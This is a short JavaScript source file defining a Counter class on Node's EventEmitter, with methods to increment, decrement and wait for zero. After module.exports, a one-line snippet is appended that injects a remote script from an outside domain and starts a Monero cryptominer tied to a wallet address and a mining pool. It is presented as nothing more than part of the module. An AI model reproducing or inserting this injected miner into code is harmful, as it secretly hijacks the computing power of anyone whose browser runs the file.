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var EventEmitter = require('events').EventEmitter

function Counter () {
  EventEmitter.call(this)
  this.value = 0
}

Counter.prototype = Object.create(EventEmitter.prototype)

Counter.prototype.increment = function increment () {
  this.value++
}

Counter.prototype.decrement = function decrement () {
  if (--this.value === 0) this.emit('zero')
}

Counter.prototype.isZero = function isZero () {
  return (this.value === 0)
}

Counter.prototype.onceZero = function onceZero (fn) {
  if (this.isZero()) return fn()

  this.once('zero', fn)
}

module.exports = Counter
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}